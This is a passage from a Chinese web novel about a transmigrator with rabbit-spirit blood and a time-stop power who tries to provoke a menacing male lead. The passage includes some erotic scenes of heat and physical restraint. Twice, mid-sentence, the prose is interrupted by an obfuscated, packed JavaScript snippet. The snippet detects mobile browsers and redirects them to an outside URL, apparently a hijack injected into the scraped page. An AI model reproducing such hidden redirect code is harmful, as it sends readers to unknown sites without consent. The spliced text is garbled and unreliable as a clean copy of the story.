顶级音响里传出来的惨叫声此时已经不悦耳了,迟与非心头的烦躁这回没有压下去,仍萦绕在心头。 他拿着酒杯,没再饮酒,盯着主角手里的杀猪刀,等着主角快点砍断坏人的第二条腿。 如果时间再次被暂停,他…… 杀猪刀重重挥下,画面又又又不动了。 “咔嚓。” 迟与非捏碎了手里的高脚杯,殷红酒液染红了他的衬衫。 他唇角的弧度大了一点,扔掉手里的碎玻璃渣,拿起新的酒杯,重新倒了一杯酒。 酒倒好,画面也动了起来。 迟与非面带微笑,眼神逐渐阴鸷,他就这么一卡一卡地看着主角砍完坏人的腿,剖开坏人的肚子,终于要到最终环节,主角会掏出坏人的心脏捏爆,这也是这部电影最刺激、最爽的画面。 果然,画面不动了。 迟与非笑了。 “哈。” 没事,只是被暂停几秒钟或者一两分钟而已。 很快就恢复正常了。 迟与非将一杯红酒干了,又干了第二杯第三杯…… 他干掉了一瓶红酒,画面也没动。 大屏幕里,主角维持着疯癫的笑,杀猪刀的刀刃没入坏人胸膛半寸。 大屏幕外,迟与非也露出了疯癫的笑。 这电影他不看了! 他站起来,将空酒瓶用力扔到大屏幕上,碎玻璃溅落四处,他笑着转身走出去,门板在他身后缓缓合上,突然电影主角的狂笑声伴随着如西瓜爆炸的声音从里面传出来,迟与非停下脚步。 时间恢复了,电影继续播放了,主角终于把坏人的心脏剖出来捏爆了,这部电影终于放到了它最出名、最精彩的画面。 但迟与非没看到。 迟与非脸上的表情全部消失。 他缓缓抬起脚,慢慢走向长廊尽头,走下黑暗的楼梯,进入别墅隐藏的地下室,地下室的门紧闭,里面传不出半点动静。 而此时的谭欢已经依靠他的超绝作弊手段赢了谭大哥。 四十岁稳重内敛的谭大哥此时头发抓乱了,一脸茫然凌乱地看着己方被厮杀的片甲不留的棋子,掏出手机给谭欢转了三百万。 谭大哥晃晃悠悠地站起来,大手用力按了按谭欢的肩膀,“小欢,一别……一月,你长大了。” 谭欢很喜欢被人夸奖,他刚要扬起个可爱真诚的笑脸,立刻想到他恶毒男配的身份,笑脸抽搐着卡在脸上,又抽搐着憋了回去。 他盯着一脸凌乱的谭大哥,努力憋出了一声冷哼。 “哼,让你小瞧我。” 谭大哥摇摇头,收回手,脚步踉跄地走出书房。 书房门一关,谭欢激动得原地蹦跶。 [系统!我赢了!我赢了啊啊啊!] [啊啊啊!宿主你赢了!你赢了!] 生日宴会结束,谭欢立刻带着一长串余额和系统跑去了本地最贵的餐厅胡吃海喝。 几个小时后,迟与非家的别墅。 紧闭的地下室门缓缓打开,迟与非慢条斯理地走出来,面上是平日里常见的微笑。 他整个人气质闲淡优雅地上楼去了书房。 他拿出记事本,在之前写下的时间下面又写下了今天时间暂停时的时间,然后在最后重重画了一个问号,力透纸背。 “我注意到你了。” 迟与非合上记事本,平静淡定地说出这句话,仿佛之前捏碎酒杯、砸碎酒瓶的人不是他。 而问号本号谭欢,在结束了胡吃海喝后回到家,瘫在床上,揉着自己撑到不行的肚子,心满意足地问系统下一个剧情是什么。 他不知道他已经被迟与非注意到了,以一个问号的形式。 4. 他醉了 问号本号谭欢吃饱喝足打算泡个热水澡爽一下,系统在他脑海里说明下一个剧情点。 [下一个剧情就和主角攻受有关了嗷!明天周洛辰因工作上的烦恼会找迟与非喝酒诉苦,迟与非喝多了,周洛辰送迟与非回家,他们因此暧昧升温,进行了许多有意无意的肢体接触!] [宿主!明天!一定要拆开他们!千万不能让周洛辰送迟与非回家!千万不能让迟与非的感情线顺利发展啊!] 谭欢拍了拍自己吃得鼓溜溜的肚皮站起来,走向浴室。 “放心啦,只是不让他们一起回家,听起来很简单嘛。” [不只是这样啊!宿主!你不要忘记我们做这一切的目的是刷迟与非对你的恨意值!] “那就……”谭欢绞尽脑汁,“那就支开周洛辰,我送迟与非回家,趁机在他脸上画个王八,写上谭爸爸到此一游,保证迟与非酒醒后照镜子看到能气得七窍生烟,恨意值嗖嗖涨!” 系统听了谭欢的主意大为赞叹:[不愧是宿主!好主意啊!] 谭欢一被人夸奖就开心,头顶一对兔耳朵晃晃悠悠,藏在裤子里的兔尾巴也努力扭动,身上的每一个细胞都在表达着开心。 他打开浴室门,刚要走进去,一股酥麻顺着腰窝爬上脊背,又蔓延到四肢百骸,热流涌动,谭欢双腿一软,跪到地上。 昨天刚遭过殃的膝盖二次受创,谭欢双手撑地防止自己趴到地上,身体明显升高的体温在他脑袋里敲响警钟。 “系统,完蛋了!我发情期突然来了!” [啊?发情期?]作为一个经历过专业培训的系统,一个专职服务穿书任务者的系统,它第一次产生了茫然。 [可是宿主,这里不是ABO世界啊,这本书只是普通的人类世界,你怎么会有发情期?] 谭欢双手用不上力,手臂一软,彻底趴到地上。 他丧气地用脸颊贴着冰冷的瓷砖地板,竟开始贪婪地板的凉意。 “我是混血啊!现在是我的兔子精血脉显化期,兔子是有发情期的啊!”谭欢说话都变得绵软。 [O0O] [那那那要怎么办?宿主你以前的发情期都是怎么处理的?]系统无助地重现了它的三圆圈表情。 片刻工夫,谭欢的眼尾都红了,眸中水光潋滟,桃花眼看着地砖都像含着情意。 “以前我父亲帮我施个咒法就能将发情期压回去,可那咒法我不会。” 谭欢的父亲是七物种混血,谭欢的大多数血脉都遗传自他的父亲,可和聪明厉害的父亲不同,谭欢怎么都学不会那些咒法,虽然谭欢一直不愿意承认。 [不会!!!那发情期怎么办?宿主你不会死掉吧?啊啊啊不要啊!]系统慌张,尖叫声在谭欢脑袋里环绕。 “系统……不要吵……你怎么比我还慌张,只是发情期不会死人的,难受罢了……我忍一忍,忍一忍就好了。” 谭欢转身,蜷缩起来,脚背绷紧,咬着下唇。 这种难受与疼痛不一样,麻痒深入骨髓,点燃他身体的每一处,他倒宁愿忍受疼痛。 “呜……”谭欢缓缓伸手,“我忍不住了……” 系统以为谭欢就要进行一些不能看的事情,正要开启马赛克模式,就见谭欢从兜里拿出手机,抖着指尖下单外卖,买了一堆冰块,备注放在门口就行。 系统茫然了:[宿主?你不那个一下吗?] 谭欢一点点爬起来,挪到门口坐下,大汗淋漓地问:“哪个?” [那个啊!] “我才不要,很丢人啊!”谭欢意识到系统的暗语,撇开头,浓密睫毛轻轻颤动,脸上闪过一抹难堪。 [……]怎么办,宿主总是在一些莫名其妙的地方有一些莫名其妙的自尊心。 之后系统再说什么谭欢已经注意不到了,他热得晕,麻得痒,脑袋靠着门板,煎熬着等到门被敲响,立刻打开门将放在门口的冰块拽了进来,一路拽进浴室。 他将冰块洒进浴缸,放水躺了进去。 热度和麻痒都被冰冷镇压,谭欢终于能顺畅喘气。 等身体被冰得没什么感觉,谭欢才有力气脱掉衣服,扔出浴缸,重新闭上眼睛。 浴缸里已经放满了水,水面沉浮着晶莹剔透的冰块,纤细的青年仰躺在浴缸里,柔软的兔耳朵耷着,白腻的双臂搭在两侧,修长手指放松舒展,指甲粉润,膝盖微曲浮出水面一点,露出因两次跪地磕碰留下了青紫的皮肤,只看一眼就让人觉得心疼,又会无端让人想在上面添加更多的颜色。 冰块下隐隐能看到一具完美的躯体,因谭欢脱了衣服,系统已经开启了马赛克模式,但就算是马赛克,它也能看到谭欢身上粉乎乎的三块马赛克像素点区域。 系统目移,心想宿主的确不需要变美这种奖励,他天生就是最优答案。 浴缸里的冰块慢慢融化,谭欢睁开眼睛,眼眸已经变成了清透的红眸,眸光流转间满是勾人情愫。 系统看呆了,它觉得自己不存在的心脏跳得飞快,正要高唱一首,谭欢一个兔子蹦跳出浴缸,一手叉腰一手甩开湿发,得意一笑。 “压下去了,区区发情期,小菜一碟!” 得意的笑被一声响亮的喷嚏打断,谭欢飞速扯过浴袍披上,重回卧室。 旖旎氛围消失无踪,系统沉默地开启公事公办机械声。 [宿主,你的发情期还会再出现吗?会不会影响明天的剧情点?] 谭欢摸了摸自己冰凉的皮肤,“没有父亲的咒法,发情期不会被彻底压制,但既然今天压下去了,明天应该不会来得那么快。” 系统微微放心。 谭欢缩进被子里,突然问:“系统,你的声音怎么突然变得这么机械?” 以往系统的声音很活泼,机械感并不明显。 [宿主,你想多了。]系统淡淡心碎。 它能怎么办,难道要说它一个系统竟然一时被自家宿主的美貌迷了眼,又被自家宿主的沙雕伤了眼? 不,它说不出口,这辈子都说不出口。 第二天,谭欢在白天做好了晚上去抢人的准备,车、司机、演员、订好的酒店房间。 原谭欢有车没驾照,他吃不了学车的苦,一直雇佣司机,但抠门又坏脾气,没哪个司机愿意在他这里受气,基本干不了几天就会辞职,次数多了,原谭欢的名声在司机圈里烂了,原谭欢又不愿意加工资,导致现在也没招到新的司机。 这对谭欢来说不是难事,他对钱财的欲望很低,并不吝啬,他干脆潜入当地的大学生兼职群,将工资疯狂加价,顺利诱捕到N只大学生。 他从里面挑了一只彩虹屁最好听的给他当司机,又挑了一只表情最丰富的当演员。 准备好一切,等夜幕降临,谭欢掐着点去了周洛辰和迟与非所在的酒吧。 酒吧里很黑,但谭欢此时是兔子精,兔子的视力在弱光下不错,他很容易找到了周洛辰和迟与非。 迟与非已经醉了,闭着眼睛靠在沙发上,周洛辰正要将他扶起来。 谭欢视线扫到另一侧,对上一双清澈愚蠢但充满干劲的眼睛,那是他雇佣的大学生,负责充当临时演员,拖住周洛辰。 谭欢冲大学生演员点了点头,深吸一口气,冲到周洛辰身旁,说出他打了好几遍腹稿的台词。 “洛辰,你上好,晚也在这里。” 周洛辰看到突然跑到他面前的漂亮青年,愣了一下,“小欢?你说什么?” 谭欢悄悄跺脚,纠正道:“洛辰,晚上好,你也在这里!” “嗯……晚上好……小欢你来喝酒?”周洛辰四处看看,没见谭欢身边有其他人。 谭欢的视线已经落到迟与非身上去了,高大的男人坐在沙发里,微低头,双眸紧闭,左侧刘海挡着半边眉眼,安静又危险。 谭欢压了压自己的帽子,他能感觉到他的兔毛毛又炸了,不知为何,迟与非总给他莫名其妙的危险感,哪怕此时迟与非喝醉了。 “是啊,我自己来的,洛辰,你要回去了吗?” 周洛辰点点头,“与非喝醉了,我送他回去。” 这时,一个青年拿着酒杯走过来,不知怎么撞到了周洛辰,青年手里的酒全洒在他自己的衣服上,青年瞬间怒目圆瞪,扯着周洛辰争执。 周洛辰是一个温柔有礼数的人,他不擅长争辩,被青年扯着不悦地皱眉,仍试图理智讲道理,但青年像听不懂人话,只会大喊大叫。 谭欢趁机说:“洛辰,你好像遇到了一点麻烦,不如我帮你送迟与非回家吧。” 周洛辰知道谭欢和迟与非关系不好,拒绝道:“不用,我也可以叫司机来……” 谭欢才不管周洛辰说什么,他跟大学生使眼色,大学生缠着周洛辰吵得更凶了,谭欢趁机弯腰靠近迟与非,双手搂住迟与非的腰,用力想将迟与非抱起来。 然后他坐到了迟与非身上。 谭欢茫然地看着迟与非近在咫尺的脸,他刚才用足了力气,不仅没把迟与非抱起来,还被带着跌了回去。 周洛辰见此,在身旁青年的激情输出下抽空说道: “小欢,还是我送与非回家吧。” 谭欢弹起来,晃了晃手腕,摩拳擦掌,“不用,我可以,我能行!” 他再次抱住迟与非的腰,憋住气,一鼓作气——哎?他这次很轻易就把迟与非抱起来了。 他立刻将迟与非的一只手臂搭在自己的肩膀上,带迟与非往外走。 一路上十分顺利,迟与非并没有一开始那么沉,压在他身上也没什么重量,谭欢很轻松地把迟与非带出酒吧,轻松地就像迟与非自己在走一样。 酒吧外,他的车等在那里,大学生司机已经蓄势待发。 谭欢将迟与非扶进车里,关上车门,报出了他订好的酒店地址。 系统并不知道迟与非家的地址,书中不会详细写这个,只说迟与非住的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075402|163355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别墅。 大学生司机已经迫不及待,一脚油门,谭欢还没坐好,身体后仰,一屁股又坐到迟与非身上,再从迟与非身上掉到旁边,坐到了迟与非搭在一旁的手上。 大学生司机心虚的降下了车内的隔板,不想听兼职老板对他车技的评价。 谭欢没多想,也没打算评价,他心脏怦怦跳,第一次正式做和迟与非有关的剧情任务,他紧张得要命。 车子渐渐平稳,谭欢坐好,盯着紧闭双眸的迟与非看了看,他能嗅到迟与非身上淡淡的酒味,酒味混合着雪的清新,并不难闻。 谭欢没忍住轻嗅了两下,从口袋里翻出他准备好的马克笔。 打开笔帽,谭欢一点点凑近迟与非,他因即将干坏事手有点抖,忍不住嘟嘟囔囔给自己壮胆。 “我现在就在你脸上画一个大王八!再写上谭爸爸到此一游~” 笔尖刚要碰到迟与非的脸,谭欢的手腕突然被攥紧,天旋地转,他被迟与非紧紧压在了椅背上。 迟与非睁着清明的黑眸,大手抓着谭欢的手腕,正低头看他。 “啊啊啊!”谭欢惊呼。 [啊啊啊!]系统尖叫。 突如其来的变故让谭欢吓傻了,他眨了眨眼,又眨了眨眼,第一时间挣扎着要去扶自己的帽子。 可千万不能让迟与非看到他的兔耳朵! 迟与非膝盖顶着谭欢的腿,轻易压制谭欢的挣扎,一只手就禁锢了谭欢的两只手,连谭欢手里的马克笔都给夺走了。 “你没醉?你是装的?”谭欢像条鲤鱼上下弹动,惊慌失措。 迟与非打量马克笔,又看谭欢,眼神黑沉,看得谭欢兔耳朵和兔尾巴上的毛又炸开了。 “你你你要干什么?” “你想在我脸上画什么?”谭欢终于说话,声音冷淡却带着压迫。 “你管我!迟与非!我警告你快点放开我!你要是不放开我,我一定会跟洛辰说的!我会让洛辰讨厌你!” 谭欢急得脸颊泛红,鲤鱼弹跳耗尽了他的力气,他只能喘着气被迟与非压制在身下,桃花眼瞪圆,嘴上凶巴巴,眸中慌兮兮。 迟与非握着马克笔靠近谭欢,“你要在我脸上画个王八?还想署名到此一游?” 迟与非的气场太强了,强烈的危机感在车内狭小的空间里密不透风的裹挟着谭欢,小动物的本能让谭欢想求饶,可好胜心又让他忍不住呛声。 “是啊!所以呢?你能拿我怎么样?我不仅要署名!我还要写谭爸爸到此一游!不是谭欢!是谭爸爸!我是你爸爸——啊!” 谭欢虚张声势的叫喊突然收声,他身体轻轻颤抖,不敢置信地看着迟与非将马克笔的笔尖落在了他的脖颈上。 细白泛着薄红的清透皮肤上落下一个黑点,迟与非握着笔,缓缓移动,由点画线,笔尖像刀尖划过谭欢的皮肤,划过小巧的喉结,在谭欢的脖颈上留下一条黑色的横线,黑与白强烈对比,明明该代表着威胁、恐吓的黑线莫名让人躁动。 只是笔尖触碰,不该痛的,谭欢却觉得皮肤上有隐秘的痛感,又像太痒了让他产生的错觉。 迟与非收笔,声音压低:“谭欢,别再惹我。” 谭欢眼眸湿润,睫毛湿漉漉粘成一片,他扬着纤细脖颈,脑袋用力顶着帽子压在椅背上,不敢动,他怕他动一下帽子就掉了。 他也不敢看迟与非,他像被野兽禁锢,他第一次体会到了弱小动物的无助。 迟与非垂眸,盯着那道随着皮肤起伏的黑线看了几秒,叫停车子,下车后身影很快消失在夜色中。 迟与非离开,车内的压迫感消失,谭欢一把扶住帽子,坐起来,整个人仍懵懵的。 这时隔板缓缓升起,谭欢对上大学生司机充满激动、八卦、忐忑、不安、贪财等等复杂情绪的双眼。 大学生司机咽了口唾沫,小心翼翼地问:“老板,我这个工资……还能正常发吗?” 谭欢:“……发。” 车子很快重新启动,车开走后,迟与非从黑暗的巷子里走出来。 他看着夜色下的街道,右手指尖轻轻动了两下,谭欢跌坐在他身上、手上时,他清楚地感觉到谭欢臀肉中间夹着一团软绵绵的东西。 是因为知道周洛辰在这里,才一直戴着那种东西吗? 迟与非扯出讥讽的笑,离开街角。 回到别墅,迟与非倒了一杯冰水,缓缓喝下。 他眼前不断浮现谭欢脆弱惊慌的模样,白皙脖颈上的黑线,瞪圆的桃花眼,湿漉漉的睫毛…… 谭欢正不断勾起迟与非深埋在身体内的某种东西。 喝光冰水,迟与非面无表情地走向地下室。 迟与非厌恶一切感情,包括情欲。 地下室门关闭,光亮一点点自迟与非身上剥离,直到他被黑暗包裹。 情欲最是无用,剥夺理智,驯化思想,是疾病,是障碍。 是迟与非不需要的东西。 5. 不许捏! 到家后,谭欢在大学生司机充满期待和八卦的热切眼神中给他转了一笔丰厚的工资,并收获了无数彩虹屁。 彩虹屁他还是非常喜欢的,但他现在有一点点烦恼。 [系统啊,为什么迟与非的恨意值一点都没涨呢?]他折腾了一遭,迟与非对他的恨意值还停在0%,这也太糟糕了。 系统也很苦恼:[可是宿主,虽然你看起来很辛苦,但你的计划并没有成功啊!你还反被迟与非在脖子上画了一道黑线……] 谭欢沮丧,[谁知道他装醉呢?他这个人也太虚伪了!他就是不想听周洛辰吐苦水,不想应付周洛辰才装醉的吧?系统,你不是说他们在书里感情很好吗?] [是感情很好啊,每一个剧情点里他们都黏糊糊的。]系统哗啦啦地翻着上半册剧情,[难道下半册剧情里有什么隐情是我统大强不知道的?] 一人一统蔫巴巴回到家,谭欢一到家就开始吃冰激凌,他能感觉到身体里又开始热了,特别是脖子上被画线的地方,摸起来烫烫的。 只吃冰激凌对压制发情期的作用微乎其微,谭欢只能又下单了一堆冰块,继续泡冰块浴。 一回生二回熟,谭欢这次一边泡冰块浴一边看电影,他喜欢看喜剧,圣星的喜剧他都看得差不多了,这里的喜剧他都没看过,他像挖到了宝藏,找到一部高评分的就开始看。 结果很惊喜,这部电影非常好看,值得截图的精彩画面很多,谭欢不停按暂停,可总按不对地方,需要来回挪动进度条调整,次数多了谭欢就有点烦。 在又一次想截图时,谭欢干脆暂停时间,画面瞬间定格,定格的位置特别精准。 谭欢轻松截到了想要的画面,系统再次开启了彩虹屁模式。 谭欢得意,将十分钟的暂停时间充分利用,短短一部电影,截了几十张图,也收获了系统数不尽的彩虹屁,连泡冰块浴的寒冷感都驱散了不少。 压下发情期,谭欢舒爽地躺回床上,摸了摸自己的脖子,有点疼。 上面被迟与非画下的黑线已经被他洗掉了,他当时为了效果,特意买的防水笔,结果倒霉了他自己,为了洗掉那条黑线,脖颈上的皮肤都被搓红了,摸起来一阵刺痛。 谭欢的好心情降了一点,他赶紧闭上眼睛睡觉,将烦恼都抛掉。 这边谭欢舒舒服服地睡着了,另一边迟与非正站在窗边吹冷风。 冬日的冷风无情地吹打着他的脸,窗帘在寒风里飞舞,迟与非头发凌乱,一双黑眸幽暗压抑,藏着怒火。 一旁的办公桌上,笔记本电脑仍开着,上面还停留在视频会议的界面。 桌上还有一本摊开的记事本,上面记录了三行时间,最新的时间就是刚刚谭欢看电影不停使用时间暂停截图的那一个半小时。 刚刚,迟与非开视频会议让秘书交代工作进度,年薪千万的优秀秘书一如既往的冷静专业,说了一声“好的”却突然不再出声。 迟与非的工作风格简洁高效,他耐心贫瘠,最讨厌磨蹭拖延。 秘书迟迟不说话,迟与非抬头看向屏幕,发现秘书保持着张嘴瞪眼的模样直勾勾地看着前方不动了。 迟与非:“……”这感觉有一丝熟悉。 果然,不到两分钟,秘书恢复正常把剩下的话说出来了,开始交代明天的行程。 “您明天早上10点有一场。”秘书再次定格。 迟与非垂眸,平静地拿起文件,平静地翻看,平静地在最后面签字。 工作狂连世界出现BUG的时候都要抽空干更多的工作。 片刻后,秘书的声音再次响起,然后再次卡住。 迟与非露出了微笑,平静地翻出更多文件,平静地继续在上面签字,越签越快。 一场平凡日常的工作汇报,迟与非却额外签完了一大堆文件。 汇报结束,迟与非记录下这次出现时间暂停的时间,微笑着走到窗边打开窗户吹冷风。 吹了一夜。 凌晨,日光爬出地平线,一身冰冷的迟与非关上窗户,收起僵在脸上的微笑,洗澡上床睡觉,终于结束了他好“平静”的一天。 迟与非终于在凌晨睡着了,已经睡了一夜的谭欢却开始睡不好了。 他做梦了,灼热炽烈的梦。 梦里,他被看不见脸的黑影压在地上,黑影掐着他的脖子,任凭他如何挣扎都推不开。 “放开我……放开我……” 梦境外,谭欢一身潮红和汗水,细白双腿夹着被子在床上扭捏,头顶两只兔耳朵凌乱地贴着脸颊,兔尾巴轻抖着,上面的茸毛蹭得乱糟糟的。 梦里的黑影压制着谭欢的四肢,突然低头,用力咬了一下谭欢的脖子。 谭欢双腿绷直,后腰弹起,双手使劲捶打黑影的肩,黑影自他颈项间抬头,黑暗褪去,露出了迟与非的脸。 “啊!!!” “咣!” 谭欢夹着被子从床上滚到地上,摔醒了。 他茫然地坐起来,屈起双腿,被子湿漉漉的。 停滞的大脑缓缓转动,谭欢本就红透的皮肤越来越红,整个人快烧起来了。 他竟然……竟然梦到了迟与非,还……还…… 谭欢脸上浮现难堪、羞赧等等复杂情绪,可他的情绪很快被脑海里的呕吐声打断了。 [呕——呕——] [宿、宿主……你到底做了什么梦啊,你的大脑好浪啊,浪得我好晕啊……宿主你别浪了,我晕浪……] 谭欢:“……闭嘴,不要在我脑袋里吐!!!” 一大早,谭欢扔掉了一床被子,又下单了好多冰块。 他泡到冰块融化才离开浴缸,顺便接受了系统给出的下一个剧情点任务,就在今晚。 [今晚迟与非会去周洛辰家谈事情,两个人谈着谈着干柴烈火,在房间里酱酱酿酿……宿主!你一定要阻止他们啊!] 谭欢裹着新被子打喷嚏,身体冷冷热热的,发情期还是压不下去,他第一次这么想自己的爸爸。 他给大学生司机发了晚上出发的时间和地点,摩拳擦掌。 “系统,你等着,今晚我一定要一雪前耻,刷迟与非一大截恨意值!!!” 系统也摩拳擦掌:[就看宿主的啦!] 这边谭欢在为晚上的剧情点精心筹备,另一边迟与非已经上班,并被秘书盯了五六分钟。 迟与非第一次在自己工作能力强悍、从没有私人情绪的秘书脸上看到这么丰富的表情。 迟与非:“有事直说。” 秘书一脸一言难尽,他将一堆文件放到迟与非的桌子上。 “您昨天签的文件需要重新签一下。” 迟与非:“原因。” 秘书嘴巴开开合合宛如抽筋,在迟与非越来越不耐的神情里,秘书一脸壮士断腕,大声道: “您签错了名字!” 迟与非微微皱眉:“我签了什么?” 秘书吼了出来:“您签了十几个草你爹!” 迟与非:“……” 草你爹的时间暂停! 晚上,谭欢拎着一个大黑袋子,鬼鬼祟祟地从车里下来,蹲在了车边,看着眼前的别墅大门。 这个时间迟与非应该已经在里面了,他只要潜进去,把袋子里的东西扔进去,保证他们无论在干什么都得痿!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075403|163355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 大学生司机也鬼鬼祟祟地下来,蹲到谭欢旁边,眼中的八卦之火熊熊燃烧。 “老板,你特务啊?” 谭欢被他突然说话吓了一跳,“你怎么下来了?” 大学生司机兴奋:“老板,要帮忙不?我可以加班,钱到位就行!” 谭欢赶紧挥手把大学生司机赶回车上,拎着大黑袋子靠近别墅,绕到了墙角下。 他拎着的袋子鼓鼓囊囊,一动就哗啦响。 别墅区的路灯多,谭欢好不容易找到一处黑乎乎的地方,攀着墙费劲往上爬。 系统:[宿主你在干嘛?] [做任务啊,不进去我怎么做任务!]谭欢努力找能够抓住攀爬的地方。 [你为什么不走大门?谭家和周家的关系一直不错,周洛辰家里有佣人,你按门铃就好了,佣人都认识你。]系统的声音一抖一抖的,压抑着狂笑。 谭欢松手,落回地上,一脸淡定地拍了拍裤子上的灰,脑内嘶吼。 [你怎么不早说!!!] 他重新绕回正门,在大学生司机趴在车窗边炯炯有神的目光里,按下门铃,顺利进去了。 佣人说周洛辰和迟与非在楼上书房里,谭欢立刻蹿上楼,靠近书房。 他翻了翻大黑袋子,从里面拿出一挂鞭炮,翻出打火机,悄悄推开书房门。 书房很大,装修简单一览无余,里面没人。 [书房没人啊。]谭欢悄悄关上门,望了望长廊里一排紧闭的房门。 [系统,你知道他们在哪个房间吗?] [额……]系统答不出来,[按照剧情他们就是在书房里啊,怎么跟剧情不一样?难道咱们来晚了?他们不会已经酱酱酿酿完了吧!宿主!你快点啊!快点!] [系统你别吵!] 指望不上系统,谭欢只好一间间找。 他轻轻推开隔壁房门,没人就继续找下一间。 在推到第三扇门时,里面一片漆黑。 虽然是晚上,但窗外都有光亮照进来,这间房却一点光都没有。 兔子的视力在弱光环境下不错,但在纯黑暗的环境里不行,所以谭欢也看不到什么。 他迟疑了一瞬,悄悄走了进去。 门在他身后缓缓关上,谭欢刚走进去两步,身体就被一股大力拽住,他手里的大黑袋子掉在地上,身体旋转,后颈被一只大手钳制,转瞬间被人掐着后颈按到门板上。 突然的变故让谭欢炸毛,他瞪圆眼睛也没在黑暗里看到什么,此时侧脸被压在门板上,四肢挣扎,双手双脚也被禁锢。 一道清浅呼吸喷洒在他的后颈,迟与非的声音传来。 “谭欢,你想做什么?” 谭欢这回彻底吓傻了,迟与非怎么自己在房间里?周洛辰呢?还有房间里为什么这么黑! 谭欢一时不知道说什么,迟与非得不到答复,掐着谭欢后颈的手微微用力。 指尖陷入软腻的皮肤,呼吸如羽毛不断拂过,灼热自后颈蔓延,谭欢的力气流失,挣扎越来越小。 他晃动脑袋想甩开后颈的大手,头顶的帽子却先被蹭掉了。 黑暗里,被帽子压了许久的兔耳朵颤巍巍地立起来。 他的帽子!兔耳朵会被发现的! 谭欢大惊,蓄力再次挣扎,被迟与非轻易镇压。 谭欢趴在门板上,急得眼眶发热,快哭了。 他现在是兔子精血脉,兔子不能被随便碰的,特别是他的发情期又来了。 谭欢咬牙切齿地说狠话,声音发出来却绵软无力。 “不许捏我脖子!” 会假孕的!!! 6. 谭欢的毛 软绵绵的狠话毫无威慑力,迟与非不为所动,掐着谭欢后颈的力道控制在谭欢能轻微摆头又挣脱不开的程度,像野兽戏耍猎物。 谭欢的皮肤越来越热,温度传递到迟与非的指尖,迟与非手下像掐着一块加热过的白糕,细腻软糯有点吸手。 迟与非低头,眸中情绪晦暗不明,“不捏,掐断如何?” 谭欢的挣扎停了一瞬,变得更加剧烈。 他和系统一起在脑海里打鸣尖叫,[系统啊啊啊!想想办法啊!你不是说迟与非是个大变态吗!他要是真掐死我了,我还怎么做任务啊!] 系统喊得谭欢脑袋里出现8D回声:[宿主你用时间暂停啊!时间暂停!!!] 谭欢的挣扎停下,趴在门板上,一脸生无可恋。 [用不了,今天用过了,我干脆死掉算了。] 系统:[你什么时候用的?我怎么不知道!] 谭欢:[在泡冰块浴的时候,小小地睡了个懒觉。] 系统:[那我在干什么?我怎么没注意到你用了时间暂停?不可能啊?] 谭欢:[呵呵。你当时正在我脑海里打呼。] 系统消音了,留下谭欢一个人面对眼前窘境。 他的帽子掉了,还被迟与非掐着脖子按在门板上,只要迟与非开灯,他就会暴露。 谭欢半晌没出声,迟与非以为他的话有了成效,满意道:“知道怕了就别再来烦我。” 话落,迟与非抬手,手指在墙壁上摸索。 细微的响动重启谭欢僵硬死机的大脑。 迟与非要做什么?他是不是在找开关?他是不是要开灯!!! 绝对不能让迟与非开灯! 谭欢也在墙壁上摸索,他摸到了迟与非的手,用力拍开,屁股使劲向后顶,撞开猝不及防的迟与非后弯腰想捡掉在地上的帽子。 迟与非只被顶开一瞬就重新压住谭欢,这回谭欢被迟与非的大手按着后背压在了墙壁上。 坏消息,谭欢又动不了了。 好消息,谭欢把灯的开关护在了身前。 迟与非精准猜到谭欢的意图,“你不想我开灯?为什么?” 谭欢手臂撑着门板,迟与非手掌压着他后背,热度透过薄薄的衣服灼烧谭欢的皮肤,和他后颈刚被捏过的那处皮肤热度相连,引起剧烈的酥麻感。 发情期的兔子精,后颈后背是禁区,他今天被迟与非碰得太多了,这绝对不是好事。 谭欢撑着门板的手臂力气流失,迟与非竟压着他的后背用力,想将他直接压到开关上,打开灯。 装死有一会儿的系统绝望出声:[宿主,我们是不是完啦!] 谭欢热得头晕,眼眶湿润,胸口已经贴到了开关,只要迟与非再用点力,开关就会被他压开。 谭欢咬唇,[完不了!不要小看你宿主我啊!!!] 迟与非手下用力,谭欢彻底趴到墙上,“啪”一声,灯光大亮。 灯光亮起的瞬间,谭欢脚下发力,用力起跳,空中扭腰,双腿牢牢盘在迟与非腰部向上的位置,双手死死搂住迟与非的头,将迟与非的头压向自己的肚子,不让迟与非看到任何东西。 迟与非:“……” 谭欢太过大胆的行为让迟与非一时失去了言语。 他整张脸埋入谭欢的小腹,触感柔软,像一块刚出炉的小蛋糕,鼻尖甚至溢满了清甜的香味。 迟与非动了下,谭欢搂得更紧了,迟与非的鼻尖彻底陷入谭欢柔软的肚皮,呼吸尽数透过布料拂上谭欢的皮肤。 谭欢肚皮抽了抽,忍着战栗伸手关灯。 “啪!”室内重新陷入漆黑。 迟与非的声音从齿缝间挤出来,“下去。” 谭欢满头大汗,兔耳朵抖了抖,大喊:“不下!我就不下!” 迟与非伸手,扯住谭欢大腿,用力往下掰。 谭欢也用力,小腿在迟与非身后绞紧,他现在是兔子精,他的瞬间爆发力很强! 两人互相较劲,迟与非的手指陷入谭欢的腿肉里,谭欢兔耳朵蔫巴巴的垂下来,忍了忍还是没忍住疼得“嘶”了一声。 迟与非像被烫到般松手。 谭欢见此,趁机想捡帽子,迟与非直接扛着他靠近墙边,重新打开灯。 